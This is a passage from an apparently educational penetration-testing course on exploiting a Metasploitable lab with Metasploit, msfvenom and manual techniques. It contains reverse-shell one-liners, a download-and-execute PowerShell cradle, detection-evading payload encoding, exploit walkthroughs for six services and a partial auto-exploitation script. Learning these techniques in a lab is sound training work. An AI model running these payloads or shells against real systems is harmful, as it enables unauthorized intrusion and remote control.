Stage 7 of 9

Exploitation Fundamentals

Stage 07 — Exploitation Fundamentals

Gaining Initial Access Through Vulnerability Exploitation

Kali Linux for Cybersecurity Learning Path

Audience: Learners who have completed Stages 01-06 (ready for hands-on exploitation)

Welcome to Stage 07. You've identified vulnerabilities through scanning and analysis. Now it's time to prove their impact by actually exploiting them. This stage teaches you how to safely and methodically gain initial access to systems using the Metasploit Framework and manual exploitation techniques.


⚠️ Critical Legal and Ethical Notice

ONLY exploit systems you own or have explicit written authorization to test.

Unauthorized access to computer systems is illegal and can result in:

In this course, you will ONLY exploit:

When in doubt, don't.


Prerequisites

Before starting Stage 07, you must have completed Stages 01-06:

If any of these are not checked, return to the previous stages first.


Why Exploitation Skills Matter

Understanding exploitation helps you:

| Defensive Value | Offensive Value |

|----------------|-----------------|

| Understand real attack techniques | Prove vulnerability impact |

| Test security controls effectively | Demonstrate risk to stakeholders |

| Validate remediation efforts | Complete penetration test objectives |

| Think like an attacker | Gain access for further testing |

| Prioritize defenses based on reality | Develop red team capabilities |

The best defenders understand offense.


What You Will Learn

By the end of this stage, you will be able to:


What You Will Build

  1. Metasploit proficiency — Framework mastery
  2. Payload generation scripts — Custom payload creation
  3. Exploitation workflow — Systematic approach
  4. Shell handling techniques — Stable access methods
  5. Exploitation documentation — Professional records
  6. Practice exploits — Hands-on against Metasploitable

Certification Alignment

This stage maps to objectives from:

| Certification | Relevant Domains |

|--------------|------------------|

| CompTIA PenTest+ | 3.0 Attacks and Exploits |

| CEH | Module 6: System Hacking |

| eJPT | Host & Network Penetration Testing |

| OSCP | Exploitation fundamentals |

> Certification Exam Currency Notice: Verify current exam objectives at the vendor's official website. See docs/CERTIFICATION_MAPPING.md for detailed alignment.


Time Estimate

Total: 40-50 hours

| Section | Hours |

|---------|-------|

| Exploitation Concepts | 4-5 |

| Metasploit Framework Fundamentals | 6-8 |

| Payloads and Shellcode | 5-6 |

| Network Service Exploitation | 8-10 |

| Web Application Exploitation | 6-8 |

| Shell Handling and Stability | 4-5 |

| Exploitation Documentation | 3-4 |

| Stage Assessment | 4-5 |


The Milestones Approach

Stage 07 Milestones

  1. Understand exploitation concepts and terminology
  2. Master Metasploit Framework basics
  3. Generate payloads with msfvenom
  4. Exploit network services
  5. Exploit web applications
  6. Handle shells and maintain access
  7. Document exploitation professionally
  8. Complete the stage assessment

Part 1 — Exploitation Concepts and Terminology (Milestone 1)

What is Exploitation?

Exploitation is the process of taking advantage of a vulnerability to achieve an unauthorized outcome, such as:

┌─────────────────────────────────────────────────────────────────┐
│                    Exploitation Process                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  VULNERABILITY ──► EXPLOIT ──► PAYLOAD ──► ACCESS               │
│       │              │           │           │                   │
│       ▼              ▼           ▼           ▼                   │
│   Security       Code that    Code that   Attacker              │
│   weakness       triggers     runs after  achieves              │
│   in target      the vuln     exploit     objective             │
│                                succeeds                          │
│                                                                  │
│  Example:                                                        │
│  Buffer         Overflow     Reverse     Shell on               │
│  overflow  ──►  exploit  ──► shell   ──► target                 │
│  in FTP         code         payload     system                  │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Key Terminology

| Term | Definition |

|------|------------|

| Exploit | Code that takes advantage of a vulnerability |

| Payload | Code delivered by exploit (what runs after success) |

| Shellcode | Low-level payload (often assembly) for shell access |

| Listener | Service waiting for incoming connections |

| Handler | Metasploit component managing payload connections |

| Target | System being exploited |

| Session | Active connection to compromised system |

| Stager | Small payload that downloads larger payload |

| Stage | Larger payload downloaded by stager |

Exploit Types

┌─────────────────────────────────────────────────────────────────┐
│                       Exploit Categories                         │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  BY LOCATION                                                    │
│  ├── Remote Exploits - Attack over network                      │
│  ├── Local Exploits - Require local access (privesc)            │
│  └── Client-side - Target user applications                     │
│                                                                  │
│  BY TECHNIQUE                                                   │
│  ├── Memory Corruption                                          │
│  │   ├── Buffer overflow (stack, heap)                          │
│  │   ├── Use-after-free                                         │
│  │   ├── Format string                                          │
│  │   └── Integer overflow                                       │
│  │                                                               │
│  ├── Injection                                                  │
│  │   ├── SQL injection                                          │
│  │   ├── Command injection                                      │
│  │   ├── LDAP injection                                         │
│  │   └── XSS (script injection)                                 │
│  │                                                               │
│  ├── Authentication                                             │
│  │   ├── Default credentials                                    │
│  │   ├── Brute force                                            │
│  │   └── Session hijacking                                      │
│  │                                                               │
│  └── Logic Flaws                                                │
│      ├── Authorization bypass                                   │
│      ├── Race conditions                                        │
│      └── Business logic abuse                                   │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Payload Types

| Type | Description | Use Case |

|------|-------------|----------|

| Reverse Shell | Target connects back to attacker | Most common; bypasses firewalls |

| Bind Shell | Target opens port for attacker | When target can accept connections |

| Meterpreter | Advanced Metasploit payload | Full-featured post-exploitation |

| Web Shell | Shell accessed via web browser | Web server compromise |

| Staged | Two-part payload (stager + stage) | Bypass size restrictions |

| Stageless | Single complete payload | Simpler, more reliable |

Reverse Shell vs Bind Shell

┌─────────────────────────────────────────────────────────────────┐
│                    Reverse Shell                                 │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│   ATTACKER                           TARGET                     │
│   ┌──────────┐                       ┌──────────┐               │
│   │ Listener │ ◄──────────────────── │ Payload  │               │
│   │ Port 4444│    Target connects    │ executes │               │
│   └──────────┘    TO attacker        └──────────┘               │
│                                                                  │
│   Advantages:                                                   │
│   - Bypasses inbound firewall rules                             │
│   - Works when target has NAT                                   │
│   - Most common and reliable                                    │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│                      Bind Shell                                  │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│   ATTACKER                           TARGET                     │
│   ┌──────────┐                       ┌──────────┐               │
│   │ Connect  │ ──────────────────► │ Listener │               │
│   │ to target│    Attacker connects │ Port 4444│               │
│   └──────────┘    TO target         └──────────┘               │
│                                                                  │
│   Advantages:                                                   │
│   - Works when attacker can't receive connections               │
│   - Simpler setup in some scenarios                             │
│   - Useful for persistent access                                │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Exploitation Workflow

┌─────────────────────────────────────────────────────────────────┐
│               Professional Exploitation Workflow                 │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  1. PREPARATION                                                 │
│     ├── Review vulnerability details                            │
│     ├── Research available exploits                             │
│     ├── Understand prerequisites                                │
│     └── Set up listener/handler                                 │
│                                                                  │
│  2. EXPLOIT SELECTION                                           │
│     ├── Match exploit to vulnerability                          │
│     ├── Choose appropriate payload                              │
│     ├── Consider target environment                             │
│     └── Verify exploit reliability                              │
│                                                                  │
│  3. CONFIGURATION                                               │
│     ├── Set target parameters (RHOST, RPORT)                    │
│     ├── Set payload parameters (LHOST, LPORT)                   │
│     ├── Adjust exploit options                                  │
│     └── Verify settings                                         │
│                                                                  │
│  4. EXECUTION                                                   │
│     ├── Run exploit                                             │
│     ├── Monitor for success/failure                             │
│     ├── Handle connection                                       │
│     └── Verify access level                                     │
│                                                                  │
│  5. DOCUMENTATION                                               │
│     ├── Record all commands                                     │
│     ├── Capture evidence                                        │
│     ├── Note access achieved                                    │
│     └── Document any issues                                     │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Milestone 1 Checkpoint

Before proceeding, verify:

[CERT CHECKPOINT - PenTest+ / CEH]: Exploitation concepts are fundamental.


Part 2 — Metasploit Framework Fundamentals (Milestone 2)

What is Metasploit?

Metasploit Framework is the world's most widely used penetration testing tool. It provides:

Starting Metasploit

# Initialize the database (first time)
sudo msfdb init

# Start Metasploit console
msfconsole

# Start with quiet mode (no banner)
msfconsole -q

# Start and run resource script
msfconsole -r script.rc

# Check database connection
msf6 > db_status

Metasploit Architecture

┌─────────────────────────────────────────────────────────────────┐
│                  Metasploit Module Types                         │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  EXPLOITS (exploit/)                                            │
│  └── Code that takes advantage of vulnerabilities               │
│      ├── exploit/windows/smb/ms17_010_eternalblue               │
│      ├── exploit/unix/ftp/vsftpd_234_backdoor                   │
│      └── exploit/multi/http/apache_mod_cgi_bash_env_exec        │
│                                                                  │
│  PAYLOADS (payload/)                                            │
│  └── Code delivered after successful exploitation               │
│      ├── payload/windows/meterpreter/reverse_tcp                │
│      ├── payload/linux/x86/shell_reverse_tcp                    │
│      └── payload/cmd/unix/reverse_bash                          │
│                                                                  │
│  AUXILIARY (auxiliary/)                                         │
│  └── Supporting modules (scanners, fuzzers, etc.)               │
│      ├── auxiliary/scanner/portscan/tcp                         │
│      ├── auxiliary/scanner/smb/smb_version                      │
│      └── auxiliary/gather/dns_enum                              │
│                                                                  │
│  POST (post/)                                                   │
│  └── Post-exploitation modules                                  │
│      ├── post/windows/gather/hashdump                           │
│      ├── post/linux/gather/enum_system                          │
│      └── post/multi/manage/shell_to_meterpreter                 │
│                                                                  │
│  ENCODERS (encoder/)                                            │
│  └── Encode payloads to avoid detection                         │
│      └── encoder/x86/shikata_ga_nai                             │
│                                                                  │
│  NOPS (nop/)                                                    │
│  └── NOP sleds for exploit reliability                          │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Essential Metasploit Commands

# Navigation
msf6 > help                    # Show all commands
msf6 > search <term>           # Search modules
msf6 > use <module>            # Select module
msf6 > back                    # Deselect module
msf6 > info                    # Show module info

# Module options
msf6 exploit(...) > show options       # Show required options
msf6 exploit(...) > show advanced      # Show advanced options
msf6 exploit(...) > set RHOSTS <ip>    # Set option
msf6 exploit(...) > setg LHOST <ip>    # Set global option
msf6 exploit(...) > unset <option>     # Clear option

# Payloads
msf6 exploit(...) > show payloads      # List compatible payloads
msf6 exploit(...) > set PAYLOAD <name> # Select payload

# Execution
msf6 exploit(...) > check              # Check if vulnerable (some exploits)
msf6 exploit(...) > exploit            # Run exploit
msf6 exploit(...) > run                # Same as exploit
msf6 exploit(...) > exploit -j         # Run as background job

# Sessions
msf6 > sessions                # List active sessions
msf6 > sessions -i 1           # Interact with session 1
msf6 > sessions -k 1           # Kill session 1

# Database
msf6 > workspace               # Show workspaces
msf6 > workspace -a test       # Create workspace
msf6 > hosts                   # Show discovered hosts
msf6 > services                # Show discovered services
msf6 > vulns                   # Show vulnerabilities
msf6 > creds                   # Show credentials

Searching for Modules

# Basic search
msf6 > search eternalblue

# Search by type
msf6 > search type:exploit smb

# Search by platform
msf6 > search platform:windows type:exploit

# Search by CVE
msf6 > search cve:2017-0144

# Search by author
msf6 > search author:hdm

# Search by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent type:exploit

# Combined search
msf6 > search type:exploit platform:linux rank:excellent

Module Workflow Example

# 1. Search for module
msf6 > search vsftpd

# 2. Select module
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# 3. View information
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

# 4. View options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# 5. Set required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101

# 6. View payloads (if applicable)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

# 7. Set payload (if needed)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact

# 8. Verify settings
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# 9. Run exploit
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Metasploit Database Integration

# Import nmap results
msf6 > db_import /path/to/scan.xml

# Run nmap from Metasploit
msf6 > db_nmap -sV 192.168.56.101

# View imported data
msf6 > hosts
msf6 > services
msf6 > vulns

# Auto-exploit based on services
msf6 > analyze

Creating Resource Scripts

Resource scripts automate Metasploit tasks:

# Create a resource script
cat << 'EOF' > ~/scripts/msf_setup.rc
# Metasploit resource script - Basic setup

# Database setup
db_status

# Set global options
setg LHOST 192.168.56.102
setg LPORT 4444

# Show workspace
workspace

echo "Setup complete. Ready for exploitation."
EOF

# Run resource script
msfconsole -r ~/scripts/msf_setup.rc

Exploitation Resource Script

cat << 'EOF' > ~/scripts/msf_vsftpd.rc
# Resource script: vsftpd 2.3.4 backdoor exploitation

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
set PAYLOAD cmd/unix/interact

# Show settings before running
show options

# Run the exploit
exploit
EOF

echo "Created: ~/scripts/msf_vsftpd.rc"
echo "Usage: msfconsole -r ~/scripts/msf_vsftpd.rc"

Metasploit Quick Reference

cat << 'EOF' > ~/notes/metasploit_reference.md
# Metasploit Quick Reference

## Starting

msfconsole # Start with banner

msfconsole -q # Quiet mode

msfconsole -r file.rc # Run resource script


## Core Commands
| Command | Description |
|---------|-------------|
| help | Show help |
| search | Search modules |
| use | Select module |
| back | Deselect module |
| info | Module information |
| show options | Show options |
| show payloads | List payloads |
| set | Set option |
| setg | Set global option |
| exploit/run | Execute module |

## Session Commands
| Command | Description |
|---------|-------------|
| sessions | List sessions |
| sessions -i N | Interact with session |
| sessions -k N | Kill session |
| sessions -u N | Upgrade to meterpreter |

## Database Commands
| Command | Description |
|---------|-------------|
| db_status | Check DB connection |
| workspace | Manage workspaces |
| hosts | Show hosts |
| services | Show services |
| db_import | Import scan results |
| db_nmap | Run nmap |

## Search Syntax

search type:exploit platform:windows

search cve:2017-0144

search name:eternalblue

search rank:excellent


## Common Options
| Option | Description |
|--------|-------------|
| RHOSTS | Target IP(s) |
| RPORT | Target port |
| LHOST | Attacker IP |
| LPORT | Attacker port |
| PAYLOAD | Payload to use |
EOF

echo "Created: ~/notes/metasploit_reference.md"

Milestone 2 Checkpoint

Before proceeding, verify:

[CERT CHECKPOINT - PenTest+ 3.1 / CEH / eJPT]: Metasploit proficiency is essential.


Part 3 — Payloads and Shellcode (Milestone 3)

Understanding Payloads

The payload is what runs on the target after exploitation succeeds.

┌─────────────────────────────────────────────────────────────────┐
│                     Payload Execution Flow                       │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  EXPLOIT EXECUTION                                              │
│         │                                                        │
│         ▼                                                        │
│  PAYLOAD DELIVERY ──► Payload injected into process             │
│         │                                                        │
│         ▼                                                        │
│  PAYLOAD EXECUTION ──► Payload code runs                        │
│         │                                                        │
│         ▼                                                        │
│  CONNECTION ──► Shell/meterpreter connects to handler           │
│         │                                                        │
│         ▼                                                        │
│  INTERACTION ──► Attacker controls target system                │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Metasploit Payload Naming Convention

payload/[platform]/[arch]/[payload_type]/[connection_method]

Examples:
  windows/meterpreter/reverse_tcp
  │       │           │
  │       │           └── Reverse TCP connection
  │       └── Meterpreter payload
  └── Windows platform

  linux/x86/shell_reverse_tcp
  │     │   │
  │     │   └── Shell with reverse TCP
  │     └── 32-bit architecture
  └── Linux platform

Staged vs Stageless Payloads

┌─────────────────────────────────────────────────────────────────┐
│                    Staged Payload                                │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  windows/meterpreter/reverse_tcp (note the /)                   │
│                                                                  │
│  Exploit → Stager (small) → Handler → Stage (large)             │
│                   │                        │                     │
│                   └── Downloads stage ─────┘                     │
│                                                                  │
│  Advantages:                                                    │
│  - Smaller initial payload                                      │
│  - Can bypass size restrictions                                 │
│  - More flexible                                                │
│                                                                  │
│  Disadvantages:                                                 │
│  - Requires stable connection                                   │
│  - More network traffic                                         │
│  - Can be detected during download                              │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│                  Stageless Payload                               │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  windows/meterpreter_reverse_tcp (note the _)                   │
│                                                                  │
│  Exploit → Complete payload (all-in-one)                        │
│                                                                  │
│  Advantages:                                                    │
│  - Single connection                                            │
│  - More reliable                                                │
│  - Works in restrictive networks                                │
│                                                                  │
│  Disadvantages:                                                 │
│  - Larger size                                                  │
│  - May not fit in exploit buffer                                │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Meterpreter Payload

Meterpreter is Metasploit's advanced payload:

| Feature | Description |

|---------|-------------|

| In-memory | Runs entirely in memory (stealthy) |

| Encrypted | Communications are encrypted |

| Extensible | Load additional modules |

| Multi-platform | Windows, Linux, Android, etc. |

| Feature-rich | File operations, keylogging, screenshots |

Common Meterpreter Commands:

meterpreter > help              # Show all commands

# System info
meterpreter > sysinfo           # System information
meterpreter > getuid            # Current user
meterpreter > getpid            # Current process ID
meterpreter > ps                # List processes

# File system
meterpreter > pwd               # Current directory
meterpreter > cd <path>         # Change directory
meterpreter > ls                # List files
meterpreter > cat <file>        # Read file
meterpreter > download <file>   # Download file
meterpreter > upload <file>     # Upload file

# Network
meterpreter > ipconfig          # Network interfaces
meterpreter > netstat           # Network connections
meterpreter > portfwd           # Port forwarding

# Session control
meterpreter > background        # Background session
meterpreter > shell             # Drop to system shell
meterpreter > exit              # Terminate session

# Post-exploitation
meterpreter > hashdump          # Dump password hashes
meterpreter > screenshot        # Take screenshot
meterpreter > keyscan_start     # Start keylogger
meterpreter > migrate <PID>     # Migrate to another process

msfvenom — Payload Generator

msfvenom generates payloads outside of Metasploit.

# Basic syntax
msfvenom -p <payload> [options] -f <format> -o <output_file>

# List payloads
msfvenom -l payloads

# List formats
msfvenom -l formats

# List encoders
msfvenom -l encoders

Generating Common Payloads

# Windows reverse shell (exe)
msfvenom -p windows/meterpreter/reverse_tcp \
    LHOST=192.168.56.102 LPORT=4444 \
    -f exe -o shell.exe

# Windows stageless reverse shell
msfvenom -p windows/meterpreter_reverse_tcp \
    LHOST=192.168.56.102 LPORT=4444 \
    -f exe -o shell_stageless.exe

# Linux reverse shell (elf)
msfvenom -p linux/x86/meterpreter/reverse_tcp \
    LHOST=192.168.56.102 LPORT=4444 \
    -f elf -o shell

# Linux shell (stageless)
msfvenom -p linux/x86/shell_reverse_tcp \
    LHOST=192.168.56.102 LPORT=4444 \
    -f elf -o shell

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp \
    LHOST=192.168.56.102 LPORT=4444 \
    -f raw -o shell.php

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp \
    LHOST=192.168.56.102 LPORT=4444 \
    -f raw -o shell.py

# Web shell (JSP)
msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=192.168.56.102 LPORT=4444 \
    -f raw -o shell.jsp

# ASP shell
msfvenom -p windows/meterpreter/reverse_tcp \
    LHOST=192.168.56.102 LPORT=4444 \
    -f asp -o shell.asp

# War file (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=192.168.56.102 LPORT=4444 \
    -f war -o shell.war

Encoding Payloads

# Encode to evade basic detection
msfvenom -p windows/meterpreter/reverse_tcp \
    LHOST=192.168.56.102 LPORT=4444 \
    -e x86/shikata_ga_nai \
    -i 5 \
    -f exe -o encoded_shell.exe

# Options:
# -e encoder    Specify encoder
# -i iterations Number of encoding iterations
# -b badchars   Characters to avoid (e.g., -b '\x00\x0a')

Payload Generator Script

#!/bin/bash
# generate_payload.sh - Generate common payloads with msfvenom

LHOST="${1:-}"
LPORT="${2:-4444}"
OUTPUT_DIR="${3:-$HOME/payloads}"

if [ -z "$LHOST" ]; then
    echo "Usage: $0 <LHOST> [LPORT] [output_directory]"
    echo "Example: $0 192.168.56.102 4444"
    exit 1
fi

mkdir -p "$OUTPUT_DIR"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)

echo "=== Payload Generator ==="
echo "LHOST: $LHOST"
echo "LPORT: $LPORT"
echo "Output: $OUTPUT_DIR"
echo ""

# Windows payloads
echo "[*] Generating Windows payloads..."
msfvenom -p windows/meterpreter/reverse_tcp \
    LHOST=$LHOST LPORT=$LPORT \
    -f exe -o "$OUTPUT_DIR/win_meterpreter_staged.exe" 2>/dev/null
echo "    Created: win_meterpreter_staged.exe"

msfvenom -p windows/meterpreter_reverse_tcp \
    LHOST=$LHOST LPORT=$LPORT \
    -f exe -o "$OUTPUT_DIR/win_meterpreter_stageless.exe" 2>/dev/null
echo "    Created: win_meterpreter_stageless.exe"

msfvenom -p windows/shell_reverse_tcp \
    LHOST=$LHOST LPORT=$LPORT \
    -f exe -o "$OUTPUT_DIR/win_shell.exe" 2>/dev/null
echo "    Created: win_shell.exe"

# Linux payloads
echo "[*] Generating Linux payloads..."
msfvenom -p linux/x86/meterpreter/reverse_tcp \
    LHOST=$LHOST LPORT=$LPORT \
    -f elf -o "$OUTPUT_DIR/linux_meterpreter" 2>/dev/null
chmod +x "$OUTPUT_DIR/linux_meterpreter"
echo "    Created: linux_meterpreter"

msfvenom -p linux/x86/shell_reverse_tcp \
    LHOST=$LHOST LPORT=$LPORT \
    -f elf -o "$OUTPUT_DIR/linux_shell" 2>/dev/null
chmod +x "$OUTPUT_DIR/linux_shell"
echo "    Created: linux_shell"

# Web payloads
echo "[*] Generating Web payloads..."
msfvenom -p php/meterpreter/reverse_tcp \
    LHOST=$LHOST LPORT=$LPORT \
    -f raw -o "$OUTPUT_DIR/shell.php" 2>/dev/null
echo "    Created: shell.php"

msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=$LHOST LPORT=$LPORT \
    -f raw -o "$OUTPUT_DIR/shell.jsp" 2>/dev/null
echo "    Created: shell.jsp"

msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=$LHOST LPORT=$LPORT \
    -f war -o "$OUTPUT_DIR/shell.war" 2>/dev/null
echo "    Created: shell.war"

# Create handler script
cat << HANDLER > "$OUTPUT_DIR/handler.rc"
# Metasploit handler resource script
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $LHOST
set LPORT $LPORT
set ExitOnSession false
exploit -j
HANDLER
echo ""
echo "[*] Created handler script: handler.rc"

# Summary
echo ""
echo "=== Payloads Generated ==="
ls -la "$OUTPUT_DIR"
echo ""
echo "To start handler:"
echo "  msfconsole -r $OUTPUT_DIR/handler.rc"

Save to ~/scripts/generate_payload.sh.

Setting Up Handlers

# In Metasploit - set up multi/handler for reverse connections
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.56.102
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j  # Run as job in background

# For multiple connections
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > exploit -j

One-liner Shells (Without Metasploit)

# Netcat listener
nc -lvnp 4444

# Bash reverse shell
bash -i >& /dev/tcp/192.168.56.102/4444 0>&1

# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Perl reverse shell
perl -e 'use Socket;$i="192.168.56.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# PHP reverse shell (command line)
php -r '$sock=fsockopen("192.168.56.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Ruby reverse shell
ruby -rsocket -e'f=TCPSocket.open("192.168.56.102",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Netcat reverse shell (if -e is available)
nc -e /bin/sh 192.168.56.102 4444

# Netcat without -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 4444 >/tmp/f

Shell One-Liners Reference

cat << 'EOF' > ~/notes/reverse_shells.md
# Reverse Shell Cheat Sheet

## Listener Setup

Netcat

nc -lvnp 4444

Metasploit

msfconsole -q

use exploit/multi/handler

set payload

set LHOST

set LPORT

exploit


## Bash

bash -i >& /dev/tcp/ATTACKER/PORT 0>&1


## Python

python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'


## PHP

php -r '$s=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'


## Perl

perl -e 'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'


## Ruby

ruby -rsocket -e'f=TCPSocket.open("ATTACKER",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


## Netcat

With -e flag

nc -e /bin/sh ATTACKER PORT

Without -e flag (mkfifo)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f


## PowerShell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"


Replace ATTACKER with your IP and PORT with your listener port.
EOF

echo "Created: ~/notes/reverse_shells.md"

Milestone 3 Checkpoint

Before proceeding, verify:

[CERT CHECKPOINT - PenTest+ 3.2 / CEH / OSCP]: Payload generation is critical.


Part 4 — Network Service Exploitation (Milestone 4)

Exploiting Vulnerable Services

Now let's exploit real vulnerabilities on Metasploitable 2.

Target: 192.168.56.101 (Metasploitable 2)

Attacker: 192.168.56.102 (Kali Linux)

Exploit 1: vsftpd 2.3.4 Backdoor

This version of vsftpd has a backdoor that opens a shell on port 6200.

# Verify service
nmap -sV -p 21 192.168.56.101
# Should show: vsftpd 2.3.4

# In Metasploit
msfconsole -q
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

# You should get a shell
id
whoami
# Output: uid=0(root)

Exploit 2: UnrealIRCd Backdoor

UnrealIRCd 3.2.8.1 contains a backdoor.

# Verify service
nmap -sV -p 6667 192.168.56.101
# Should show: UnrealIRCd

# In Metasploit
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.56.102
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

# Shell access
id

Exploit 3: Samba "username map script"

Samba 3.0.20 is vulnerable to command injection.

# Verify service
nmap -sV -p 139,445 192.168.56.101

# In Metasploit
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.101
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.102
msf6 exploit(multi/samba/usermap_script) > exploit

# Root shell
id

Exploit 4: distcc Daemon

distcc allows distributed compilation. The daemon is vulnerable to command execution.

# Verify service
nmap -sV -p 3632 192.168.56.101

# In Metasploit
msf6 > use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.101
msf6 exploit(unix/misc/distcc_exec) > set PAYLOAD cmd/unix/reverse
msf6 exploit(unix/misc/distcc_exec) > set LHOST 192.168.56.102
msf6 exploit(unix/misc/distcc_exec) > exploit

Exploit 5: PostgreSQL

PostgreSQL with default credentials and code execution.

# Verify service
nmap -sV -p 5432 192.168.56.101

# In Metasploit
msf6 > use exploit/linux/postgres/postgres_payload
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.56.101
msf6 exploit(linux/postgres/postgres_payload) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.56.102
msf6 exploit(linux/postgres/postgres_payload) > exploit

Exploit 6: Java RMI Server

Java RMI registry is often vulnerable to deserialization attacks.

# Verify service
nmap -sV -p 1099 192.168.56.101

# In Metasploit
msf6 > use exploit/multi/misc/java_rmi_server
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.56.101
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.56.102
msf6 exploit(multi/misc/java_rmi_server) > exploit

Automated Exploitation Script

#!/bin/bash
# auto_exploit.sh - Attempt common exploits against Metasploitable

TARGET="${1:-192.168.56.101}"
LHOST="${2:-192.168.56.102}"
OUTPUT_DIR="${3:-$HOME/engagements/exploitation}"

TIMESTAMP=$(date +%Y%m%d_%H%M%S)
mkdir -p "$OUTPUT_DIR"

echo "=== Automated Exploitation Attempts ==="
echo "Target: $TARGET"
echo "LHOST: $LHOST"
echo ""

# Create resource script
cat << EOF > "$OUTPUT_DIR/exploit_$TIMESTAMP.rc"
# Auto-exploitation resource script
# Target: $TARGET
# Generated: $(date)

setg LHOST $LHOST
setg LPORT 4444

# vsftpd backdoor
echo "=== Attempting vsftpd exploit ==="
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS $TARGET
set PAYLOAD cmd/unix/interact
run
back

# UnrealIRCd backdoor
echo "=== Attempting UnrealIRCd exploit ==="
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS $TARGET
set PAYLOAD cmd/unix/reverse
run
back

# Samba usermap
